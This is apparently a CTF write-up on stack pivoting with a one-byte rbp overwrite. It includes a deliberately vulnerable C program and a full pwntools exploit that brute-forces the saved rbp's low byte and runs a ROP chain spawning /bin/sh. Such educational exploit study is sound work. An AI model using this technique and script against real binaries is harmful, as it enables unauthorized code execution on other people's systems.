Stack Pivoting with one byte

Stack pivoting

Stack pivoting is the interesting skill which can move the whole stack frame to another memory segment. With stack pivoting, we can build ROP chain through the different data buffer. However, what can I do if cannot overwrite return address and I can only overwrite one byte of rbp? Though that I cannot use ROPgadget any more, I still can make up a stack pivoting with the challenge in this article.

How to move the ass of stack frame

Here comes the source first:

#include <unistd.h>
#include <stdio.h>

char buf2[300];

void func1() {
    char buf[20];
    int input_size = read(0, buf, 34);
    printf("input_size = %d\n", input_size);
}

int main() {
    setvbuf(stdout, 0, _IONBF, 0);
    int input_size = read(0, buf2, 300);
    printf("input_size = %d\n", input_size);
    func1();
    return 0;
}

In this challenge, there are two buffers for user input. With our familiar stack pivoting, we can build ropchain from buf[20] to buf2[300]. But the problem is read(0, buf, 34), we need 40 bytes to overwrite the return address. So, the challenge here is that we can only overwrite rbp with 1~2 bytes.

First, I back to the basic concept of stack pivoting: how stack pivoting success? It successes by putting a pop rbp gadget on the return address, then leave; ret address would help me to move the rsp to the address I want. In fact, we already got the chance to change our rbp, isn’t it? :) Second, how leave; ret related with rbp? In instruction of leave, it is same as move rsp, rbp; pop rbp. And, if I can make rsp point to buf when the instruction ret is running, my ropchain for stack pivoting would be success. Third, and also is the last one, how do I make rsp point to buf? Thanks to the ASLR, the last byte of the rbp address has 240(16*15) kinds of possiblities. Therefore, I can write a while loop to send my payload again and again until return to my ropchain in buf.

The screenshot showed above is the condition after func1() and ready to run the instruction of ret. In such condition, the address of rbp is 0x7ffd55dcfd28, and main function would return to the instruction at the address of 0x6ca300. The buf which stores my ropchain is at the address of 0x7ffd55dcfd50. Therefore, in other words, if the address of my rbp is 0x7ffd55dcfd48 in this case, main function would return to the ropchain successfully. After observing in the gdb, I found that buf always located at the address which is \x?0 at the last byte. So in the while loop to overwrite the last byte of the rbp, I can send anything like this \x?8. At the end, shell would come to you if your ropchain success!

Exploit

from pwn import *

context.arch = 'amd64'

pop_rdi_ret = 0x401516
pop_rax_rdx_rbx_ret = 0x478616
pop_rsi_ret = 0x401637
syscall = 0x4672b5
lea_ret = 0x4009e4
pop_rbp_ret = 0x4004d1

buf2 = 0x6ccd60

rop2 = flat([pop_rdi_ret, buf2, pop_rax_rdx_rbx_ret, 0x3b, 0x0, 0x0, pop_rsi_ret, 0x0, syscall])
padding = '/bin/sh\x00'.ljust(48)

while True:

    r = process('./rop2')

    r.sendline(padding + rop2)
    r.recvuntil('\n')

    rop1 = flat([pop_rbp_ret, buf2 + 40, lea_ret]).ljust(32)
    rop1 += '\x28'
    #raw_input()
    r.send(rop1)     # Be careful, don't use sendline here!!!!
    r.recvuntil('\n')
    try:
        r.send('id\n')
        r.recvline()   # recv the output of id so that while loop can continue
    except EOFError:
        r.close()
    else:
        break     # break out of the while loop if no EOF error

r.interactive()

Be careful not to use sendline() when sending the payload of buf because the linefeed byte would overwrite the second byte of the rbp. Then, it would become impossible for you to return success! And at the part of rop1, you can try sending anything like \x?8 just like I said above.


You could got the similiar result if you use the same payload as me. Enjoy the source in the reference if you are interested (Makefile is in the same folder).

Reference

source of the challenge